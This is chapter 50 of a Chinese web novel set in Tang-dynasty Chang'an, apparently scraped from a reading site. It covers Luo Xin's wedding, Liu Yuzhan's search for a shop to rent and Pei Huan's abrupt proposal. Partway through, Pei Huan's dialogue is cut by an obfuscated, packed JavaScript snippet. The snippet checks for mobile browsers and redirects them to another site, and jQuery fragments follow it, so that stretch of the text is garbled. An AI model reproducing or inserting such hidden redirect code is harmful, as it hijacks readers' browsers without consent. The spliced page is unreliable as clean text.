50. 第 50 章
作品:《大唐荔枝园(种田)》 柳玉瞻听后咯咯笑着:“我还记得我第一次见姑母的时候,我刚来骆府,被卢夫人召见,姑母姗姗来迟,却帮了我许多,从那时开始我觉得您是那样鲜艳活泼,活脱脱就是个女中豪杰,果然您的性子一直如此。”
她的手覆上骆欣的肩膀,说:“姑母,今天可是您大喜的日子,别想太多了,我们管不了别人的嘴说什么,唯一能做的就是过好自己的日子。”
柳玉瞻起身,打开旁边妆龛最上层的小匣子,取出一只金凤步摇为骆欣戴上,“您今日只需要保持好的状态,待会,我和萱儿一起送您上花轿,今日,您一定是整个长安城里最美的新娘。”
“玉瞻,其实我一直都不明白,你为何要帮我嫁出去?”
柳玉瞻一愣,然后发笑:“姑母这话是何意,您处处照顾我,我怎就不能帮助您达成心愿了?”
骆欣低下头:“我的意思是,我往后不在骆府,就护不了你了,你在骆府,就少了一个能为你撑腰的人。我阿娘她,她也管不了你什么……”
柳玉瞻沉默了片刻,随后慢悠悠道:“姑母,我知道你是担心我,可我……总不能一直依靠别人活。我知道老夫人年老,所以我不会总是去打扰她的。”
柳玉瞻与骆欣面对面,最后检查着她的妆容。
“姑母,您放心,我往后会在骆府很好的,我保证。”
“或者,我不会一直待在这里……”
骆欣眼前突然一亮,拍着柳玉瞻的手说:“等我在李家安顿下来,我帮你留意着与你年龄相当的小郎君吧,或者你有没有相中的人?只要家世别差太多,我和阿娘都能帮你去说一说,我记得你的生日在四月份,明年开春,你就十七了吧,这日子过的还真是快,想你刚来骆府的时候才十五岁……”
是呀,她来到这里已经快两年了。
明年春天,也许她就能看到自己的小铺子了吧,也不知道泸州园子里的荔枝种子长得怎么样了,有没有发芽。
春天真是令人充满期待的日子,柳玉瞻振奋着耸了耸肩。
骆欣瞧着她一副思春的样子,果然呀,哪有小娘子不期待自己的如意郎君的!今日她的出嫁肯定给了柳玉瞻期待。
“要不然,你就嫁进骆府吧,反正你跟府中的好多人已经这么熟了,肥水不流外人田呐!”
柳玉瞻摇摇头,只当骆欣在开玩笑:“姑母,你就别拿我取笑了,走吧,该上花轿了,可别耽误了吉时。”
柳玉瞻与骆萱一左一右地扶着骆欣出了房门,先去拜别了老夫人,然后再上花轿。
窦氏平时再冷静,今日也不禁留下了眼泪,她这个小女儿可是让她操碎了心,希望这一次她能与她的丈夫白头偕老,别再孤零零一个人了。
柳玉瞻与骆萱目送着骆欣上花轿。
骆萱捧着自己的小脸,无尽畅想:“也不知道我出嫁的那一天会是什么样?”
然后转头看柳玉瞻:“玉姐姐,你说,我穿上嫁衣的时候会不会很好看?”
“好看,我们萱儿天生丽质,肯定很好看。”
“玉姐姐,到时候你也送我上花轿吧,玉姐姐那时候应该已经嫁人了吧。那姐姐有没有憧憬过自己嫁人的那一天是什么样子的?”
“我没想过。”
“玉姐姐为什么不想?”
“我这个人不喜欢复杂,脑子里的东西一旦多起来,我就会力不从心,所以对于自己无法掌控的东西,就不想。”
骆萱有些似懂非懂。
“所以玉姐姐其实不排斥嫁人喽?”
“人都有七情六欲,我又不是石女,自然不会完全断情绝爱,不过婚姻这个东西实在太复杂了,让人心累,所以能不想就不想。”
柳玉瞻觉得她终会走上与骆欣一样的路。
穿着火红的嫁衣,从这里出嫁。
女子刚生下来的时候是没有家的,嫁了人后,才有了家。
……
是日,城南另一个巷子里的一道门被敲响。
这家没有仆人,所以是主人亲自来开的门,只见对方是一个留着八字胡的胖男人,不断打着哈欠,看起来还没睡醒。
“足下何人呐?”
柳玉瞻意识到自己有可能打搅了别人的好梦,有些局促:“阁下可是刘公,请问是您有铺面要租赁吗?”
她拿出一张纸展示给对方看:“是这样的,我看到您的铺子旁边的柱子上贴了一张纸,写着出租铺面,我才按照您给的地址找过来的。”
被唤“刘公”的男人上下打量着柳玉瞻,皱了皱眉头,道:“二位小娘子且等一等,我得梳洗一番。”
“我不着急!您请便。”
刘公重新关上了门。
柳玉瞻大约在门口等了二十分钟,刘公才重新开门,对她说:“劳小娘子久候,您是要租铺面是吧,我这就带您去看。”
柳玉瞻点头如捣蒜,她真的无比期待看到自己的小铺子。
刘公带她到了铺面这里,打开门板,柳玉瞻突然有那么一丝丝的失落。
“刘公?您的铺子是这个?我以为是柱子左边这个……”柳玉瞻指了指旁边的那个铺面。
“哦,那可能是我贴告示的时候往左边偏了一点,不过这两个铺面没差什么的,我这个更大,更宽敞。”
就是因为大才不好啊,柳玉瞻的预算有限,刘公的这个铺面是旁边铺面的二倍宽,这得有多少租金啊。在她的设想里,她要一个小小的铺面就足够了。
“铺席最前面是案板和箱柜,空间很大,能放很多东西,上面是悬挂旗幡与牌匾的地方,前后坊可以用帘子隔开,后坊有仓储区,我这里应有尽有,您只要租下来,便不会有任何的后顾之忧的。”
“刘公,我们先看看吧。”
柳玉瞻将这铺席前前后后仔细查看了一番,的确像刘公说的那样,应有尽有,这个铺席的确看起来没有任何问题,可柳玉瞻却犹豫了,她要不要再多看几个铺席?
柳玉瞻来回转了好几圈,问道:“刘公,您这铺席租金多少,我回去看看自己准备的钱够不够。”
“不贵,只要一贯钱。”
的确不贵。
柳玉瞻与刘公又说了几句客套的话,就拉着阿絮走了,这里离骆府不算远,她们走两条街就能回家。
阿絮问她:“小娘子,咱们到底要不要租那个铺席?”
“我再想想吧。”
大约在距离骆府还有一条街的时候,阿贵不知道从何处窜了出来,挡住了柳玉瞻的去路。
柳玉瞻一开始没认出阿贵来,毕竟她的泸州之行已经过去很久了,上次酒楼见韦大人的那次,阿贵也不在。
“我们郎君请柳娘子去一趟。”
柳玉瞻以为裴桓又要死性不改了,便开口拒绝:“你们家郎君还是找别人作陪吧,恕不奉陪。”
阿贵抬起手拦她:“柳娘子,我家郎君真的有事,是别的事。”
别的事……也许裴桓是真的有要紧事也说不定呢。
“好吧,那我就去见他一面。”
阿贵引她去的还是上次的酒楼,连房间都是同一个,柳玉瞻觉得他可能是这的VIP吧,房间也不换换。
“裴郎君,你究竟有何事?”
裴桓抬起手,用手指戳了一下她的脑门:“我没事,倒是你,蠢的可怜,被人买了还要给对方数钱。”
柳玉瞻捂着脑袋,作嗔怒状:“你……你要是没事的话,我可就走了,我不是来陪你取乐的。”
“刚刚那个刘公,他摆明了就是看你一个小丫头涉世未深,所以才哄骗你去租他的铺席,你该不会真没看出来他的铺席有问题吧。”
柳玉瞻顿了顿,“那你倒是说说,他的铺席究竟有何问题?”
裴桓冷哼了一声:“一看你就是没做过生意,所以什么都不懂,你要知道我朝可是有里坊制和市肆制的,里坊顾名思义是居民区,也就是那个刘公带你去看铺席的地方,那片全都是不怎么富庶的居民,行人极少,你在那里开铺子的话,能挣几
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16801688|183761||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个子儿。”
“我这不是还没答应他嘛,我之前在街上随处逛逛,突然看到那里贴了一个告示,觉得那个铺子挺好看的,小巧又精致,谁知道我搞错了,刘公的铺子是旁边的那个。”
柳玉瞻倒是没有灰心,有多少事是一次就能成的,好事多磨嘛。
裴桓的情绪没刚刚那么激动了,他坐下,瞧着面前的柳玉瞻,“我问你,你真的想开铺子?”
柳玉瞻认真点了点头。
“卖什么?”
“荔枝煎。”
“哈哈哈哈——”
柳玉瞻的纯真顿时引开了裴桓的一顿嘲讽。
“这东西……不伦不类的,真的有人会买吗?”
“裴子爽,你今日如果是来嘲笑我的,那现在你笑也笑过了,我要回家了。”
柳玉瞻转头就要离开,裴桓的声音从她后面传来:“家?骆府是你的家吗?”
“只不过住了一年,还真把那里当自己家了。”
柳玉瞻这回真的有些生气了:“你这人是有什么毛病吗?嘲讽我在长安谨小慎微的日子能让你感到快乐和慰藉吗?简直是不可理喻,我的人生与你无关。”
裴桓开始正经起来:“柳玉瞻,这不是嘲讽,我是认真在同你说话,无论你再怎么告诉自己骆家人对你很好,可那里终究不是你的家,你只是个寄人篱下的可怜虫,他们高兴了叫你一声表姑娘,不高兴了,你就是在府上吃白饭的,骆欣刚嫁了人,你在骆府很孤独吧,就像是无根的浮萍,你很渴望一个属于自己的家,我说的对吗?”
“你最后会跟骆欣有一样的命运,从骆府出嫁,小娘子总是要嫁人的,那个卢夫人,她应该也是这么打算的吧。”
“至于卢夫人为你物色的婆家,也一定会比骆萱的差,除非你自己选则婆家。哼哼,我看你也该考虑自己的终身大事了。”
“裴子爽,你看起来对骆府的事了如指掌,你很闲吗?你难道不用念书吗?”
骆珩每日温书到饭吃不好觉也睡不好,总是晚上来她这里吐苦水,他可倒好,成天像个没事人一样,怎么同样是读书人,状态却天差地别。
“骆府和裴府并无亲疏,平日里也没什么往来,你监视骆府的一举一动做什么?你这是什么怪癖好。”
裴桓很明显不想谈论这个话题:“这个不重要,重要的是,你总是要嫁人的。”
“你平时的生活单一,又没什么社交,认识不到什么好郎君吧,也就是说,你根本就没有嫁人的目标。”
“那又怎样?本姑娘能不能嫁的出去不需要你操心。”
柳玉瞻以为裴桓是要嘲笑她嫁不出去。
“是啊,看你这张牙舞爪的样子,以后娶你的人肯定是个冤大头。所以……”
骆珩单手扶着桌案,弯着腰,继续说:“不如我来当这个冤大头,把你娶了,如何?”
柳玉瞻听后毫无波澜。
“呕吼,这个玩笑一点也不好笑。”
柳玉瞻转过身,裴桓下意识拉住了她的手,这么微微往后一拽,手臂紧贴着她的身体,连带着她整个人一起往后,不偏不倚地退到裴桓的怀里,一瞬间,柳玉瞻只觉得全身的血液都凝固了。
紧贴着她后背的,是裴桓精壮的胸膛。
她与裴桓相识多时,但都是一些特定情况下,又或是她有事才与他打交道,他们的相处从来都是不越雷池一步的,从未有过这般亲密的模样。
柳玉瞻下意识就想要挣脱。
“你有事好好说,别离我那么近!”
裴桓似乎像没听到那样:“这就是我要说的事,玉瞻,我这次是认真的,也是在为你考虑,你难道能一辈子待在骆府不嫁人,你总要有个归宿。”
裴桓自认为自己的家世对柳玉瞻来说是最好的,不是最高也不太低,低了会让柳玉瞻没有崇拜的感觉,高了她也攀不上。
“你每一次都说自己是认真的,裴子爽,我实在是太了解你了,这次是什么?通房还是妾室?”

